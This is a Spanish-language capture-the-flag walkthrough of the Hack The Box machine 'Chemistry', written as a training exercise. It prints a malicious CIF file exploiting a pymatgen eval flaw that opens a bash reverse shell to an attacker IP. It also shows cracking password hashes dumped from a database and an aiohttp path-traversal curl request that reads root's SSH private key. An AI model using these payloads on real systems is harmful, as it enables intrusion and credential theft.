CorvusDDosKRom

Hack The Box: Chemistry

Easy

Chemistry es una máquina de nivel Easy en Hack The Box que involucra RCE a través de una vulnerabilidad en la librería PyMatgen al parsear archivos CIF maliciosos.

Linux
Hack The Box
Web RCE CVE-2024-23346 Path Traversal Flask

Chemistry

Plataforma: Hack The Box

Dificultad: Easy

🔗 Link de la máquina: https://app.hackthebox.com/machines/Chemistry

Chemistry

Reconocimiento

En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN chemistry.txt 10.129.231.170
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 01:01 -0300
Nmap scan report for 10.129.231.170
Host is up (0.51s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.9.5)
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
|_http-title: Chemistry - Home

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.72 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN chemistry.txt: Guarda los resultados en el archivo “chemistry.txt”.

Puertos descubiertos:

  • 22/tcp - SSH (OpenSSH 8.2p1 Ubuntu)
  • 5000/tcp - HTTP (Werkzeug 3.0.3 / Python 3.9.5) → Chemistry CIF Analyzer

Configuración del Host

echo "10.129.231.170 chemistry.htb" | sudo tee -a /etc/hosts

Enumeración Web

Al acceder a http://chemistry.htb:5000 encontramos una aplicación web llamada Chemistry - CIF Analyzer, una herramienta para analizar archivos CIF (Crystallographic Information File).

Web Principal

La aplicación permite:

  • Registrar una cuenta
  • Hacer login
  • Subir archivos .cif para su análisis

Nos registramos con un usuario de prueba:

Register

Accedemos al panel de subida de archivos:

Dashboard

Al subir un archivo .cif de prueba, la aplicación parsea el contenido y muestra las propiedades cristalográficas del compuesto.


Explotación

CVE-2024-23346 - PyMatgen RCE via CIF File

Investigando vulnerabilidades en analizadores de archivos CIF, encontramos el CVE-2024-23346, una vulnerabilidad crítica en la librería PyMatgen que permite ejecución remota de código a través de archivos CIF maliciosos.

¿Cómo funciona?

El parser de PyMatgen ejecuta el campo _space_group_magn.transform_BNS_Pp_abc del archivo CIF usando eval() sin sanitizar la entrada. Esto permite inyectar código Python arbitrario que se ejecutará en el servidor.

Creación del payload

Creamos el archivo CIF malicioso shell.cif:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'");0,0,0'

_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Configuramos el listener en nuestra máquina atacante:

nc -nlvp 4444

Subimos el archivo malicioso desde el dashboard y hacemos click en View. La aplicación parsea el CIF ejecutando el payload:

Upload CIF

Reverse shell obtenida:

Reverse Shell

connect to [10.10.16.4] from (UNKNOWN) [10.129.231.170] XXXXX
bash: cannot set terminal process group (1038): Inappropriate ioctl for a device
bash: no job control in this shell
app@chemistry:~$ id
uid=1001(app) gid=1001(app) groups=1001(app)

Tratamiento de la TTY

Mejoramos la shell para hacerla completamente interactiva:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm-256color
export SHELL=/bin/bash

User Flag

Enumeración del Sistema

Con acceso como usuario app, enumeramos el directorio de la aplicación:

app@chemistry:~$ ls
app.py  instance  static  templates

La carpeta instance/ es donde Flask almacena la base de datos SQLite por convención. Confirmamos el tipo de archivo:

app@chemistry:~$ file instance/database.db
instance/database.db: SQLite 3.x database, last written using SQLite version 3031001

Extraemos las credenciales almacenadas:

app@chemistry:~/instance$ sqlite3 database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
structure  user
sqlite> SELECT * FROM user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92

Antes de crackear, verificamos qué usuarios del sistema tienen shell válida:

app@chemistry:~$ cat /etc/passwd | grep -v "nologin\|false"
root:x:0:0:root:/root:/bin/bash
app:x:1000:1000::/home/app:/bin/bash
rosa:x:1001:1001::/home/rosa:/bin/bash

Los usuarios app (el actual) y rosa existen en el sistema. Encontramos varios hashes MD5 en la base de datos. Intentamos crackear el hash de rosa:

hashcat -m 0 63ed86ee9f624c7b14f1d4f43dc251a5 /usr/share/wordlists/rockyou.txt

Resultado:

63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados

Credenciales obtenidas:

  • Usuario: rosa
  • Contraseña: unicorniosrosados

Acceso SSH

ssh rosa@10.129.231.170
# Password: unicorniosrosados

SSH rosa

rosa@chemistry:~$ cat user.txt

User Flag


Escalada de Privilegios

Enumeración de Servicios Internos

Buscamos servicios que solo estén disponibles internamente:

ss -tlnp

Resultado:

State    Recv-Q   Send-Q     Local Address:Port       Peer Address:Port
LISTEN   0        128              0.0.0.0:22          0.0.0.0:*
LISTEN   0        5              127.0.0.1:8080        0.0.0.0:*
LISTEN   0        128                    *:5000              *:*

Hay un servicio en el puerto 8080 que solo es accesible desde localhost. Lo investigamos:

curl -s http://127.0.0.1:8080

Resultado:

<!DOCTYPE html>
<html>
<title>Site Monitoring</title>
...

Se trata de un servicio de monitorización web que corre como root.

CVE-2024-23334 - aiohttp Path Traversal

Identificamos que el servicio usa aiohttp:

curl -s http://127.0.0.1:8080/ -I
Server: Python/3.9 aiohttp/3.9.1

La versión aiohttp 3.9.1 es vulnerable al CVE-2024-23334, una vulnerabilidad de Path Traversal que permite leer archivos arbitrarios del sistema de archivos cuando la ruta estática no está correctamente normalizada.

Explotación del Path Traversal

Explotamos el Path Traversal para leer la clave privada SSH del usuario root. Es importante usar el flag --path-as-is para que curl no normalice las secuencias ../ antes de enviar la petición:

curl --path-as-is -s "http://127.0.0.1:8080/assets/../../../../../../../root/.ssh/id_rsa"

Resultado:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCOTI2XEWGDhKCiD2Q5mFmwBZopnYXiVVhLqIBQp0aBYAAAAJiEnOLdhJ
zi3QAAAAB3NzaC1lZDI1NTE5AAAAIIomjlkRYYOEoKIPZDmYWbAFmindhGJVWEuogFCn
RoFgAAAAIBIxJIDmTf+RmFvJ7rWFPHFZ+ERDi3j4UrYtjCNFpAFAAAAEHJvb3RAY2hl
bWlzdHJ5AQIDBA==
-----END OPENSSH PRIVATE KEY-----

Privesc

Guardamos la clave y nos conectamos como root:

curl --path-as-is -s "http://127.0.0.1:8080/assets/../../../../../../../root/.ssh/id_rsa" > /tmp/root_id_rsa
chmod 600 /tmp/root_id_rsa
ssh -i /tmp/root_id_rsa root@localhost
root@chemistry:~# id
uid=0(root) gid=0(root) groups=0(root)

Root Flag

root@chemistry:~# cat root.txt

Root Flag

Máquina Chemistry de Hack The Box completada exitosamente.